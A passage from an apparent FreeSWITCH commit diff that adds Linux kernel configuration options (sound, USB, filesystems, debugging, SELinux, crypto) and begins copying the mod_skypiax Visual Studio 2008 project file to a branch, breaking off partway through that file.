+CONFIG_SND_OPL3_LIB=m
+CONFIG_SND_VX_LIB=m
+CONFIG_SND_AC97_CODEC=m
+CONFIG_SND_DUMMY=m
+CONFIG_SND_VIRMIDI=m
+CONFIG_SND_MTPAV=m
+# CONFIG_SND_MTS64 is not set
+# CONFIG_SND_SERIAL_U16550 is not set
+CONFIG_SND_MPU401=m
+# CONFIG_SND_PORTMAN2X4 is not set
+CONFIG_SND_SB_COMMON=m
+
+#
+# PCI devices
+#
+CONFIG_SND_AD1889=m
+CONFIG_SND_ALS300=m
+CONFIG_SND_ALS4000=m
+CONFIG_SND_ALI5451=m
+CONFIG_SND_ATIIXP=m
+CONFIG_SND_ATIIXP_MODEM=m
+CONFIG_SND_AU8810=m
+CONFIG_SND_AU8820=m
+CONFIG_SND_AU8830=m
+CONFIG_SND_AZT3328=m
+CONFIG_SND_BT87X=m
+# CONFIG_SND_BT87X_OVERCLOCK is not set
+CONFIG_SND_CA0106=m
+CONFIG_SND_CMIPCI=m
+CONFIG_SND_CS4281=m
+CONFIG_SND_CS46XX=m
+CONFIG_SND_CS46XX_NEW_DSP=y
+# CONFIG_SND_CS5530 is not set
+CONFIG_SND_DARLA20=m
+CONFIG_SND_GINA20=m
+CONFIG_SND_LAYLA20=m
+CONFIG_SND_DARLA24=m
+CONFIG_SND_GINA24=m
+CONFIG_SND_LAYLA24=m
+CONFIG_SND_MONA=m
+CONFIG_SND_MIA=m
+CONFIG_SND_ECHO3G=m
+CONFIG_SND_INDIGO=m
+CONFIG_SND_INDIGOIO=m
+CONFIG_SND_INDIGODJ=m
+CONFIG_SND_EMU10K1=m
+CONFIG_SND_EMU10K1X=m
+CONFIG_SND_ENS1370=m
+CONFIG_SND_ENS1371=m
+CONFIG_SND_ES1938=m
+CONFIG_SND_ES1968=m
+CONFIG_SND_FM801=m
+CONFIG_SND_FM801_TEA575X_BOOL=y
+CONFIG_SND_FM801_TEA575X=m
+CONFIG_SND_HDA_INTEL=m
+# CONFIG_SND_HDA_HWDEP is not set
+CONFIG_SND_HDA_CODEC_REALTEK=y
+CONFIG_SND_HDA_CODEC_ANALOG=y
+CONFIG_SND_HDA_CODEC_SIGMATEL=y
+CONFIG_SND_HDA_CODEC_VIA=y
+CONFIG_SND_HDA_CODEC_ATIHDMI=y
+CONFIG_SND_HDA_CODEC_CONEXANT=y
+CONFIG_SND_HDA_CODEC_CMEDIA=y
+CONFIG_SND_HDA_CODEC_SI3054=y
+CONFIG_SND_HDA_GENERIC=y
+CONFIG_SND_HDA_POWER_SAVE=y
+CONFIG_SND_HDA_POWER_SAVE_DEFAULT=0
+CONFIG_SND_HDSP=m
+CONFIG_SND_HDSPM=m
+CONFIG_SND_ICE1712=m
+CONFIG_SND_ICE1724=m
+CONFIG_SND_INTEL8X0=m
+CONFIG_SND_INTEL8X0M=m
+CONFIG_SND_KORG1212=m
+CONFIG_SND_KORG1212_FIRMWARE_IN_KERNEL=y
+CONFIG_SND_MAESTRO3=m
+CONFIG_SND_MAESTRO3_FIRMWARE_IN_KERNEL=y
+CONFIG_SND_MIXART=m
+CONFIG_SND_NM256=m
+CONFIG_SND_PCXHR=m
+CONFIG_SND_RIPTIDE=m
+CONFIG_SND_RME32=m
+CONFIG_SND_RME96=m
+CONFIG_SND_RME9652=m
+CONFIG_SND_SONICVIBES=m
+CONFIG_SND_TRIDENT=m
+CONFIG_SND_VIA82XX=m
+CONFIG_SND_VIA82XX_MODEM=m
+CONFIG_SND_VX222=m
+CONFIG_SND_YMFPCI=m
+CONFIG_SND_YMFPCI_FIRMWARE_IN_KERNEL=y
+# CONFIG_SND_AC97_POWER_SAVE is not set
+
+#
+# USB devices
+#
+CONFIG_SND_USB_AUDIO=m
+CONFIG_SND_USB_USX2Y=m
+# CONFIG_SND_USB_CAIAQ is not set
+
+#
+# PCMCIA devices
+#
+# CONFIG_SND_VXPOCKET is not set
+# CONFIG_SND_PDAUDIOCF is not set
+
+#
+# System on Chip audio support
+#
+# CONFIG_SND_SOC is not set
+
+#
+# SoC Audio support for SuperH
+#
+
+#
+# Open Sound System
+#
+# CONFIG_SOUND_PRIME is not set
+CONFIG_AC97_BUS=m
+CONFIG_HID_SUPPORT=y
+CONFIG_HID=y
+CONFIG_HID_DEBUG=y
+# CONFIG_HIDRAW is not set
+
+#
+# USB Input Devices
+#
+CONFIG_USB_HID=y
+# CONFIG_USB_HIDINPUT_POWERBOOK is not set
+CONFIG_HID_FF=y
+CONFIG_HID_PID=y
+CONFIG_LOGITECH_FF=y
+# CONFIG_PANTHERLORD_FF is not set
+CONFIG_THRUSTMASTER_FF=y
+# CONFIG_ZEROPLUS_FF is not set
+CONFIG_USB_HIDDEV=y
+CONFIG_USB_SUPPORT=y
+CONFIG_USB_ARCH_HAS_HCD=y
+CONFIG_USB_ARCH_HAS_OHCI=y
+CONFIG_USB_ARCH_HAS_EHCI=y
+CONFIG_USB=y
+# CONFIG_USB_DEBUG is not set
+
+#
+# Miscellaneous USB options
+#
+CONFIG_USB_DEVICEFS=y
+CONFIG_USB_DEVICE_CLASS=y
+# CONFIG_USB_DYNAMIC_MINORS is not set
+# CONFIG_USB_SUSPEND is not set
+# CONFIG_USB_PERSIST is not set
+# CONFIG_USB_OTG is not set
+
+#
+# USB Host Controller Drivers
+#
+CONFIG_USB_EHCI_HCD=m
+CONFIG_USB_EHCI_SPLIT_ISO=y
+CONFIG_USB_EHCI_ROOT_HUB_TT=y
+CONFIG_USB_EHCI_TT_NEWSCHED=y
+CONFIG_USB_ISP116X_HCD=m
+CONFIG_USB_OHCI_HCD=m
+# CONFIG_USB_OHCI_HCD_SSB is not set
+# CONFIG_USB_OHCI_BIG_ENDIAN_DESC is not set
+# CONFIG_USB_OHCI_BIG_ENDIAN_MMIO is not set
+CONFIG_USB_OHCI_LITTLE_ENDIAN=y
+CONFIG_USB_UHCI_HCD=m
+CONFIG_USB_SL811_HCD=m
+CONFIG_USB_SL811_CS=m
+# CONFIG_USB_R8A66597_HCD is not set
+
+#
+# USB Device Class drivers
+#
+CONFIG_USB_ACM=m
+CONFIG_USB_PRINTER=m
+
+#
+# NOTE: USB_STORAGE enables SCSI, and 'SCSI disk support'
+#
+
+#
+# may also be needed; see USB_STORAGE Help for more information
+#
+CONFIG_USB_STORAGE=m
+# CONFIG_USB_STORAGE_DEBUG is not set
+CONFIG_USB_STORAGE_DATAFAB=y
+CONFIG_USB_STORAGE_FREECOM=y
+CONFIG_USB_STORAGE_ISD200=y
+CONFIG_USB_STORAGE_DPCM=y
+CONFIG_USB_STORAGE_USBAT=y
+CONFIG_USB_STORAGE_SDDR09=y
+CONFIG_USB_STORAGE_SDDR55=y
+CONFIG_USB_STORAGE_JUMPSHOT=y
+CONFIG_USB_STORAGE_ALAUDA=y
+# CONFIG_USB_STORAGE_KARMA is not set
+# CONFIG_USB_LIBUSUAL is not set
+
+#
+# USB Imaging devices
+#
+CONFIG_USB_MDC800=m
+CONFIG_USB_MICROTEK=m
+CONFIG_USB_MON=y
+
+#
+# USB port drivers
+#
+CONFIG_USB_USS720=m
+
+#
+# USB Serial Converter support
+#
+CONFIG_USB_SERIAL=m
+CONFIG_USB_SERIAL_GENERIC=y
+# CONFIG_USB_SERIAL_AIRCABLE is not set
+CONFIG_USB_SERIAL_AIRPRIME=m
+CONFIG_USB_SERIAL_ARK3116=m
+CONFIG_USB_SERIAL_BELKIN=m
+# CONFIG_USB_SERIAL_CH341 is not set
+CONFIG_USB_SERIAL_WHITEHEAT=m
+CONFIG_USB_SERIAL_DIGI_ACCELEPORT=m
+CONFIG_USB_SERIAL_CP2101=m
+CONFIG_USB_SERIAL_CYPRESS_M8=m
+CONFIG_USB_SERIAL_EMPEG=m
+CONFIG_USB_SERIAL_FTDI_SIO=m
+CONFIG_USB_SERIAL_FUNSOFT=m
+CONFIG_USB_SERIAL_VISOR=m
+CONFIG_USB_SERIAL_IPAQ=m
+CONFIG_USB_SERIAL_IR=m
+CONFIG_USB_SERIAL_EDGEPORT=m
+CONFIG_USB_SERIAL_EDGEPORT_TI=m
+CONFIG_USB_SERIAL_GARMIN=m
+CONFIG_USB_SERIAL_IPW=m
+CONFIG_USB_SERIAL_KEYSPAN_PDA=m
+CONFIG_USB_SERIAL_KEYSPAN=m
+CONFIG_USB_SERIAL_KEYSPAN_MPR=y
+CONFIG_USB_SERIAL_KEYSPAN_USA28=y
+CONFIG_USB_SERIAL_KEYSPAN_USA28X=y
+CONFIG_USB_SERIAL_KEYSPAN_USA28XA=y
+CONFIG_USB_SERIAL_KEYSPAN_USA28XB=y
+CONFIG_USB_SERIAL_KEYSPAN_USA19=y
+CONFIG_USB_SERIAL_KEYSPAN_USA18X=y
+CONFIG_USB_SERIAL_KEYSPAN_USA19W=y
+CONFIG_USB_SERIAL_KEYSPAN_USA19QW=y
+CONFIG_USB_SERIAL_KEYSPAN_USA19QI=y
+CONFIG_USB_SERIAL_KEYSPAN_USA49W=y
+CONFIG_USB_SERIAL_KEYSPAN_USA49WLC=y
+CONFIG_USB_SERIAL_KLSI=m
+CONFIG_USB_SERIAL_KOBIL_SCT=m
+CONFIG_USB_SERIAL_MCT_U232=m
+# CONFIG_USB_SERIAL_MOS7720 is not set
+# CONFIG_USB_SERIAL_MOS7840 is not set
+CONFIG_USB_SERIAL_NAVMAN=m
+CONFIG_USB_SERIAL_PL2303=m
+# CONFIG_USB_SERIAL_OTI6858 is not set
+CONFIG_USB_SERIAL_HP4X=m
+CONFIG_USB_SERIAL_SAFE=m
+CONFIG_USB_SERIAL_SAFE_PADDED=y
+CONFIG_USB_SERIAL_SIERRAWIRELESS=m
+CONFIG_USB_SERIAL_TI=m
+CONFIG_USB_SERIAL_CYBERJACK=m
+CONFIG_USB_SERIAL_XIRCOM=m
+CONFIG_USB_SERIAL_OPTION=m
+CONFIG_USB_SERIAL_OMNINET=m
+# CONFIG_USB_SERIAL_DEBUG is not set
+CONFIG_USB_EZUSB=y
+
+#
+# USB Miscellaneous drivers
+#
+CONFIG_USB_EMI62=m
+CONFIG_USB_EMI26=m
+# CONFIG_USB_ADUTUX is not set
+CONFIG_USB_AUERSWALD=m
+CONFIG_USB_RIO500=m
+CONFIG_USB_LEGOTOWER=m
+CONFIG_USB_LCD=m
+# CONFIG_USB_BERRY_CHARGE is not set
+CONFIG_USB_LED=m
+# CONFIG_USB_CYPRESS_CY7C63 is not set
+# CONFIG_USB_CYTHERM is not set
+# CONFIG_USB_PHIDGET is not set
+CONFIG_USB_IDMOUSE=m
+# CONFIG_USB_FTDI_ELAN is not set
+CONFIG_USB_APPLEDISPLAY=m
+CONFIG_USB_SISUSBVGA=m
+CONFIG_USB_SISUSBVGA_CON=y
+CONFIG_USB_LD=m
+# CONFIG_USB_TRANCEVIBRATOR is not set
+# CONFIG_USB_IOWARRIOR is not set
+CONFIG_USB_TEST=m
+
+#
+# USB DSL modem support
+#
+CONFIG_USB_ATM=m
+CONFIG_USB_SPEEDTOUCH=m
+CONFIG_USB_CXACRU=m
+CONFIG_USB_UEAGLEATM=m
+CONFIG_USB_XUSBATM=m
+
+#
+# USB Gadget Support
+#
+# CONFIG_USB_GADGET is not set
+CONFIG_MMC=m
+# CONFIG_MMC_DEBUG is not set
+# CONFIG_MMC_UNSAFE_RESUME is not set
+
+#
+# MMC/SD Card Drivers
+#
+CONFIG_MMC_BLOCK=m
+CONFIG_MMC_BLOCK_BOUNCE=y
+# CONFIG_SDIO_UART is not set
+
+#
+# MMC/SD Host Controller Drivers
+#
+CONFIG_MMC_SDHCI=m
+# CONFIG_MMC_RICOH_MMC is not set
+CONFIG_MMC_WBSD=m
+# CONFIG_MMC_TIFM_SD is not set
+CONFIG_NEW_LEDS=y
+CONFIG_LEDS_CLASS=y
+
+#
+# LED drivers
+#
+
+#
+# LED Triggers
+#
+CONFIG_LEDS_TRIGGERS=y
+CONFIG_LEDS_TRIGGER_TIMER=m
+CONFIG_LEDS_TRIGGER_IDE_DISK=y
+CONFIG_LEDS_TRIGGER_HEARTBEAT=m
+CONFIG_INFINIBAND=m
+CONFIG_INFINIBAND_USER_MAD=m
+CONFIG_INFINIBAND_USER_ACCESS=m
+CONFIG_INFINIBAND_USER_MEM=y
+CONFIG_INFINIBAND_ADDR_TRANS=y
+CONFIG_INFINIBAND_MTHCA=m
+CONFIG_INFINIBAND_MTHCA_DEBUG=y
+CONFIG_INFINIBAND_IPATH=m
+CONFIG_INFINIBAND_AMSO1100=m
+# CONFIG_INFINIBAND_AMSO1100_DEBUG is not set
+CONFIG_INFINIBAND_CXGB3=m
+# CONFIG_INFINIBAND_CXGB3_DEBUG is not set
+CONFIG_MLX4_INFINIBAND=m
+CONFIG_INFINIBAND_IPOIB=m
+CONFIG_INFINIBAND_IPOIB_CM=y
+CONFIG_INFINIBAND_IPOIB_DEBUG=y
+# CONFIG_INFINIBAND_IPOIB_DEBUG_DATA is not set
+CONFIG_INFINIBAND_SRP=m
+CONFIG_INFINIBAND_ISER=m
+CONFIG_EDAC=y
+
+#
+# Reporting subsystems
+#
+# CONFIG_EDAC_DEBUG is not set
+CONFIG_EDAC_MM_EDAC=m
+CONFIG_EDAC_E752X=m
+# CONFIG_EDAC_I82975X is not set
+CONFIG_EDAC_I5000=m
+CONFIG_RTC_LIB=m
+CONFIG_RTC_CLASS=m
+
+#
+# RTC interfaces
+#
+CONFIG_RTC_INTF_SYSFS=y
+CONFIG_RTC_INTF_PROC=y
+CONFIG_RTC_INTF_DEV=y
+# CONFIG_RTC_INTF_DEV_UIE_EMUL is not set
+# CONFIG_RTC_DRV_TEST is not set
+
+#
+# I2C RTC drivers
+#
+CONFIG_RTC_DRV_DS1307=m
+# CONFIG_RTC_DRV_DS1374 is not set
+CONFIG_RTC_DRV_DS1672=m
+# CONFIG_RTC_DRV_MAX6900 is not set
+CONFIG_RTC_DRV_RS5C372=m
+CONFIG_RTC_DRV_ISL1208=m
+CONFIG_RTC_DRV_X1205=m
+CONFIG_RTC_DRV_PCF8563=m
+CONFIG_RTC_DRV_PCF8583=m
+# CONFIG_RTC_DRV_M41T80 is not set
+
+#
+# SPI RTC drivers
+#
+
+#
+# Platform RTC drivers
+#
+# CONFIG_RTC_DRV_CMOS is not set
+CONFIG_RTC_DRV_DS1553=m
+# CONFIG_RTC_DRV_STK17TA8 is not set
+CONFIG_RTC_DRV_DS1742=m
+# CONFIG_RTC_DRV_M48T86 is not set
+# CONFIG_RTC_DRV_M48T59 is not set
+CONFIG_RTC_DRV_V3020=m
+
+#
+# on-CPU RTC drivers
+#
+# CONFIG_DMADEVICES is not set
+# CONFIG_AUXDISPLAY is not set
+CONFIG_VIRTUALIZATION=y
+# CONFIG_KVM is not set
+
+#
+# Userspace I/O
+#
+# CONFIG_UIO is not set
+
+#
+# Firmware Drivers
+#
+CONFIG_EDD=m
+CONFIG_DELL_RBU=m
+CONFIG_DCDBAS=m
+CONFIG_DMIID=y
+
+#
+# File systems
+#
+CONFIG_EXT2_FS=y
+CONFIG_EXT2_FS_XATTR=y
+CONFIG_EXT2_FS_POSIX_ACL=y
+CONFIG_EXT2_FS_SECURITY=y
+CONFIG_EXT2_FS_XIP=y
+CONFIG_FS_XIP=y
+CONFIG_EXT3_FS=m
+CONFIG_EXT3_FS_XATTR=y
+CONFIG_EXT3_FS_POSIX_ACL=y
+CONFIG_EXT3_FS_SECURITY=y
+CONFIG_EXT4DEV_FS=m
+CONFIG_EXT4DEV_FS_XATTR=y
+CONFIG_EXT4DEV_FS_POSIX_ACL=y
+CONFIG_EXT4DEV_FS_SECURITY=y
+CONFIG_JBD=m
+# CONFIG_JBD_DEBUG is not set
+CONFIG_JBD2=m
+# CONFIG_JBD2_DEBUG is not set
+CONFIG_FS_MBCACHE=y
+# CONFIG_REISERFS_FS is not set
+# CONFIG_JFS_FS is not set
+CONFIG_FS_POSIX_ACL=y
+# CONFIG_XFS_FS is not set
+CONFIG_GFS2_FS=m
+CONFIG_GFS2_FS_LOCKING_NOLOCK=m
+CONFIG_GFS2_FS_LOCKING_DLM=m
+# CONFIG_OCFS2_FS is not set
+# CONFIG_MINIX_FS is not set
+# CONFIG_ROMFS_FS is not set
+CONFIG_INOTIFY=y
+CONFIG_INOTIFY_USER=y
+CONFIG_QUOTA=y
+# CONFIG_QUOTA_NETLINK_INTERFACE is not set
+CONFIG_PRINT_QUOTA_WARNING=y
+# CONFIG_QFMT_V1 is not set
+CONFIG_QFMT_V2=y
+CONFIG_QUOTACTL=y
+CONFIG_DNOTIFY=y
+# CONFIG_AUTOFS_FS is not set
+CONFIG_AUTOFS4_FS=m
+# CONFIG_FUSE_FS is not set
+
+#
+# CD-ROM/DVD Filesystems
+#
+CONFIG_ISO9660_FS=y
+CONFIG_JOLIET=y
+CONFIG_ZISOFS=y
+CONFIG_UDF_FS=m
+CONFIG_UDF_NLS=y
+
+#
+# DOS/FAT/NT Filesystems
+#
+CONFIG_FAT_FS=m
+CONFIG_MSDOS_FS=m
+CONFIG_VFAT_FS=m
+CONFIG_FAT_DEFAULT_CODEPAGE=437
+CONFIG_FAT_DEFAULT_IOCHARSET="ascii"
+# CONFIG_NTFS_FS is not set
+
+#
+# Pseudo filesystems
+#
+CONFIG_PROC_FS=y
+CONFIG_PROC_KCORE=y
+CONFIG_PROC_VMCORE=y
+CONFIG_PROC_SYSCTL=y
+CONFIG_SYSFS=y
+CONFIG_TMPFS=y
+# CONFIG_TMPFS_POSIX_ACL is not set
+CONFIG_HUGETLBFS=y
+CONFIG_HUGETLB_PAGE=y
+CONFIG_CONFIGFS_FS=m
+
+#
+# Miscellaneous filesystems
+#
+# CONFIG_ADFS_FS is not set
+# CONFIG_AFFS_FS is not set
+CONFIG_ECRYPT_FS=m
+CONFIG_HFS_FS=m
+CONFIG_HFSPLUS_FS=m
+# CONFIG_BEFS_FS is not set
+# CONFIG_BFS_FS is not set
+# CONFIG_EFS_FS is not set
+CONFIG_JFFS2_FS=m
+CONFIG_JFFS2_FS_DEBUG=0
+CONFIG_JFFS2_FS_WRITEBUFFER=y
+# CONFIG_JFFS2_FS_WBUF_VERIFY is not set
+CONFIG_JFFS2_SUMMARY=y
+# CONFIG_JFFS2_FS_XATTR is not set
+# CONFIG_JFFS2_COMPRESSION_OPTIONS is not set
+CONFIG_JFFS2_ZLIB=y
+# CONFIG_JFFS2_LZO is not set
+CONFIG_JFFS2_RTIME=y
+# CONFIG_JFFS2_RUBIN is not set
+CONFIG_CRAMFS=m
+CONFIG_VXFS_FS=m
+# CONFIG_HPFS_FS is not set
+# CONFIG_QNX4FS_FS is not set
+# CONFIG_SYSV_FS is not set
+# CONFIG_UFS_FS is not set
+CONFIG_NETWORK_FILESYSTEMS=y
+CONFIG_NFS_FS=m
+CONFIG_NFS_V3=y
+CONFIG_NFS_V3_ACL=y
+CONFIG_NFS_V4=y
+CONFIG_NFS_DIRECTIO=y
+CONFIG_NFSD=m
+CONFIG_NFSD_V2_ACL=y
+CONFIG_NFSD_V3=y
+CONFIG_NFSD_V3_ACL=y
+CONFIG_NFSD_V4=y
+CONFIG_NFSD_TCP=y
+CONFIG_LOCKD=m
+CONFIG_LOCKD_V4=y
+CONFIG_EXPORTFS=m
+CONFIG_NFS_ACL_SUPPORT=m
+CONFIG_NFS_COMMON=y
+CONFIG_SUNRPC=m
+CONFIG_SUNRPC_GSS=m
+CONFIG_SUNRPC_XPRT_RDMA=m
+# CONFIG_SUNRPC_BIND34 is not set
+CONFIG_RPCSEC_GSS_KRB5=m
+CONFIG_RPCSEC_GSS_SPKM3=m
+# CONFIG_SMB_FS is not set
+CONFIG_CIFS=m
+# CONFIG_CIFS_STATS is not set
+CONFIG_CIFS_WEAK_PW_HASH=y
+CONFIG_CIFS_XATTR=y
+CONFIG_CIFS_POSIX=y
+# CONFIG_CIFS_DEBUG2 is not set
+CONFIG_CIFS_EXPERIMENTAL=y
+CONFIG_CIFS_UPCALL=y
+# CONFIG_NCP_FS is not set
+# CONFIG_CODA_FS is not set
+# CONFIG_AFS_FS is not set
+
+#
+# Partition Types
+#
+CONFIG_PARTITION_ADVANCED=y
+# CONFIG_ACORN_PARTITION is not set
+CONFIG_OSF_PARTITION=y
+CONFIG_AMIGA_PARTITION=y
+# CONFIG_ATARI_PARTITION is not set
+CONFIG_MAC_PARTITION=y
+CONFIG_MSDOS_PARTITION=y
+CONFIG_BSD_DISKLABEL=y
+CONFIG_MINIX_SUBPARTITION=y
+CONFIG_SOLARIS_X86_PARTITION=y
+CONFIG_UNIXWARE_DISKLABEL=y
+# CONFIG_LDM_PARTITION is not set
+CONFIG_SGI_PARTITION=y
+# CONFIG_ULTRIX_PARTITION is not set
+CONFIG_SUN_PARTITION=y
+CONFIG_KARMA_PARTITION=y
+CONFIG_EFI_PARTITION=y
+# CONFIG_SYSV68_PARTITION is not set
+CONFIG_NLS=y
+CONFIG_NLS_DEFAULT="utf8"
+CONFIG_NLS_CODEPAGE_437=y
+CONFIG_NLS_CODEPAGE_737=m
+CONFIG_NLS_CODEPAGE_775=m
+CONFIG_NLS_CODEPAGE_850=m
+CONFIG_NLS_CODEPAGE_852=m
+CONFIG_NLS_CODEPAGE_855=m
+CONFIG_NLS_CODEPAGE_857=m
+CONFIG_NLS_CODEPAGE_860=m
+CONFIG_NLS_CODEPAGE_861=m
+CONFIG_NLS_CODEPAGE_862=m
+CONFIG_NLS_CODEPAGE_863=m
+CONFIG_NLS_CODEPAGE_864=m
+CONFIG_NLS_CODEPAGE_865=m
+CONFIG_NLS_CODEPAGE_866=m
+CONFIG_NLS_CODEPAGE_869=m
+CONFIG_NLS_CODEPAGE_936=m
+CONFIG_NLS_CODEPAGE_950=m
+CONFIG_NLS_CODEPAGE_932=m
+CONFIG_NLS_CODEPAGE_949=m
+CONFIG_NLS_CODEPAGE_874=m
+CONFIG_NLS_ISO8859_8=m
+CONFIG_NLS_CODEPAGE_1250=m
+CONFIG_NLS_CODEPAGE_1251=m
+CONFIG_NLS_ASCII=y
+CONFIG_NLS_ISO8859_1=m
+CONFIG_NLS_ISO8859_2=m
+CONFIG_NLS_ISO8859_3=m
+CONFIG_NLS_ISO8859_4=m
+CONFIG_NLS_ISO8859_5=m
+CONFIG_NLS_ISO8859_6=m
+CONFIG_NLS_ISO8859_7=m
+CONFIG_NLS_ISO8859_9=m
+CONFIG_NLS_ISO8859_13=m
+CONFIG_NLS_ISO8859_14=m
+CONFIG_NLS_ISO8859_15=m
+CONFIG_NLS_KOI8_R=m
+CONFIG_NLS_KOI8_U=m
+CONFIG_NLS_UTF8=m
+CONFIG_DLM=m
+CONFIG_DLM_DEBUG=y
+CONFIG_INSTRUMENTATION=y
+CONFIG_PROFILING=y
+CONFIG_OPROFILE=m
+CONFIG_KPROBES=y
+CONFIG_MARKERS=y
+
+#
+# Kernel hacking
+#
+CONFIG_TRACE_IRQFLAGS_SUPPORT=y
+# CONFIG_PRINTK_TIME is not set
+CONFIG_ENABLE_WARN_DEPRECATED=y
+CONFIG_ENABLE_MUST_CHECK=y
+CONFIG_MAGIC_SYSRQ=y
+# CONFIG_UNUSED_SYMBOLS is not set
+CONFIG_DEBUG_FS=y
+# CONFIG_HEADERS_CHECK is not set
+CONFIG_DEBUG_KERNEL=y
+# CONFIG_DEBUG_SHIRQ is not set
+CONFIG_DETECT_SOFTLOCKUP=y
+CONFIG_SCHED_DEBUG=y
+CONFIG_SCHEDSTATS=y
+# CONFIG_TIMER_STATS is not set
+# CONFIG_DEBUG_SLAB is not set
+# CONFIG_DEBUG_RT_MUTEXES is not set
+# CONFIG_RT_MUTEX_TESTER is not set
+# CONFIG_DEBUG_SPINLOCK is not set
+# CONFIG_DEBUG_MUTEXES is not set
+# CONFIG_DEBUG_LOCK_ALLOC is not set
+# CONFIG_PROVE_LOCKING is not set
+# CONFIG_LOCK_STAT is not set
+# CONFIG_DEBUG_SPINLOCK_SLEEP is not set
+# CONFIG_DEBUG_LOCKING_API_SELFTESTS is not set
+# CONFIG_DEBUG_KOBJECT is not set
+CONFIG_DEBUG_BUGVERBOSE=y
+CONFIG_DEBUG_INFO=y
+# CONFIG_DEBUG_VM is not set
+CONFIG_DEBUG_LIST=y
+# CONFIG_DEBUG_SG is not set
+# CONFIG_FRAME_POINTER is not set
+# CONFIG_FORCED_INLINING is not set
+# CONFIG_BOOT_PRINTK_DELAY is not set
+# CONFIG_RCU_TORTURE_TEST is not set
+# CONFIG_LKDTM is not set
+# CONFIG_FAULT_INJECTION is not set
+CONFIG_SAMPLES=y
+CONFIG_SAMPLE_MARKERS=m
+CONFIG_EARLY_PRINTK=y
+CONFIG_DEBUG_STACKOVERFLOW=y
+# CONFIG_DEBUG_STACK_USAGE is not set
+CONFIG_DEBUG_RODATA=y
+# CONFIG_IOMMU_DEBUG is not set
+
+#
+# Security options
+#
+CONFIG_KEYS=y
+CONFIG_KEYS_DEBUG_PROC_KEYS=y
+CONFIG_SECURITY=y
+CONFIG_SECURITY_NETWORK=y
+CONFIG_SECURITY_NETWORK_XFRM=y
+CONFIG_SECURITY_CAPABILITIES=y
+# CONFIG_SECURITY_FILE_CAPABILITIES is not set
+# CONFIG_SECURITY_ROOTPLUG is not set
+CONFIG_SECURITY_SELINUX=y
+CONFIG_SECURITY_SELINUX_BOOTPARAM=y
+CONFIG_SECURITY_SELINUX_BOOTPARAM_VALUE=1
+CONFIG_SECURITY_SELINUX_DISABLE=y
+CONFIG_SECURITY_SELINUX_DEVELOP=y
+CONFIG_SECURITY_SELINUX_AVC_STATS=y
+CONFIG_SECURITY_SELINUX_CHECKREQPROT_VALUE=1
+CONFIG_SECURITY_SELINUX_ENABLE_SECMARK_DEFAULT=y
+# CONFIG_SECURITY_SELINUX_POLICYDB_VERSION_MAX is not set
+CONFIG_XOR_BLOCKS=m
+CONFIG_ASYNC_CORE=m
+CONFIG_ASYNC_MEMCPY=m
+CONFIG_ASYNC_XOR=m
+CONFIG_CRYPTO=y
+CONFIG_CRYPTO_ALGAPI=y
+CONFIG_CRYPTO_AEAD=m
+CONFIG_CRYPTO_BLKCIPHER=m
+CONFIG_CRYPTO_HASH=y
+CONFIG_CRYPTO_MANAGER=y
+CONFIG_CRYPTO_HMAC=y
+CONFIG_CRYPTO_XCBC=m
+CONFIG_CRYPTO_NULL=m
+CONFIG_CRYPTO_MD4=m
+CONFIG_CRYPTO_MD5=m
+CONFIG_CRYPTO_SHA1=y
+CONFIG_CRYPTO_SHA256=m
+CONFIG_CRYPTO_SHA512=m
+CONFIG_CRYPTO_WP512=m
+CONFIG_CRYPTO_TGR192=m
+# CONFIG_CRYPTO_GF128MUL is not set
+CONFIG_CRYPTO_ECB=m
+CONFIG_CRYPTO_CBC=m
+# CONFIG_CRYPTO_PCBC is not set
+# CONFIG_CRYPTO_LRW is not set
+# CONFIG_CRYPTO_XTS is not set
+# CONFIG_CRYPTO_CRYPTD is not set
+CONFIG_CRYPTO_DES=m
+# CONFIG_CRYPTO_FCRYPT is not set
+CONFIG_CRYPTO_BLOWFISH=m
+CONFIG_CRYPTO_TWOFISH=m
+CONFIG_CRYPTO_TWOFISH_COMMON=m
+# CONFIG_CRYPTO_TWOFISH_X86_64 is not set
+CONFIG_CRYPTO_SERPENT=m
+CONFIG_CRYPTO_AES=m
+CONFIG_CRYPTO_AES_X86_64=m
+CONFIG_CRYPTO_CAST5=m
+CONFIG_CRYPTO_CAST6=m
+CONFIG_CRYPTO_TEA=m
+CONFIG_CRYPTO_ARC4=m
+CONFIG_CRYPTO_KHAZAD=m
+CONFIG_CRYPTO_ANUBIS=m
+# CONFIG_CRYPTO_SEED is not set
+CONFIG_CRYPTO_DEFLATE=m
+CONFIG_CRYPTO_MICHAEL_MIC=m
+CONFIG_CRYPTO_CRC32C=y
+# CONFIG_CRYPTO_CAMELLIA is not set
+CONFIG_CRYPTO_TEST=m
+CONFIG_CRYPTO_AUTHENC=m
+CONFIG_CRYPTO_HW=y
+
+#
+# Library routines
+#
+CONFIG_BITREVERSE=y
+CONFIG_CRC_CCITT=m
+CONFIG_CRC16=m
+CONFIG_CRC_ITU_T=m
+CONFIG_CRC32=y
+# CONFIG_CRC7 is not set
+CONFIG_LIBCRC32C=y
+CONFIG_ZLIB_INFLATE=y
+CONFIG_ZLIB_DEFLATE=m
+CONFIG_GENERIC_ALLOCATOR=y
+CONFIG_REED_SOLOMON=m
+CONFIG_REED_SOLOMON_DEC16=y
+CONFIG_TEXTSEARCH=y
+CONFIG_TEXTSEARCH_KMP=m
+CONFIG_TEXTSEARCH_BM=m
+CONFIG_TEXTSEARCH_FSM=m
+CONFIG_PLIST=y
+CONFIG_HAS_IOMEM=y
+CONFIG_HAS_IOPORT=y
+CONFIG_HAS_DMA=y

Deleted: freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/mod_skypiax.2008.vcproj

Copied: freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/mod_skypiax.2008.vcproj (from rev 14471, freeswitch/trunk/src/mod/endpoints/mod_skypiax/mod_skypiax.2008.vcproj) (0 => 14472)


--- freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/mod_skypiax.2008.vcproj	                        (rev 0)
+++ freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/mod_skypiax.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,164 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+	ProjectType="Visual C++"
+	Version="9.00"
+	Name="mod_skypiax"
+	ProjectGUID="{C6E78A4C-DB1E-47F4-9B63-4DC27D86343F}"
+	RootNamespace="mod_skypiax"
+	Keyword="Win32Proj"
+	TargetFrameworkVersion="131072"
+	>
+	<Platforms>
+		<Platform
+			Name="Win32"
+		/>
+	</Platforms>
+	<ToolFiles>
+	</ToolFiles>
+	<Configurations>
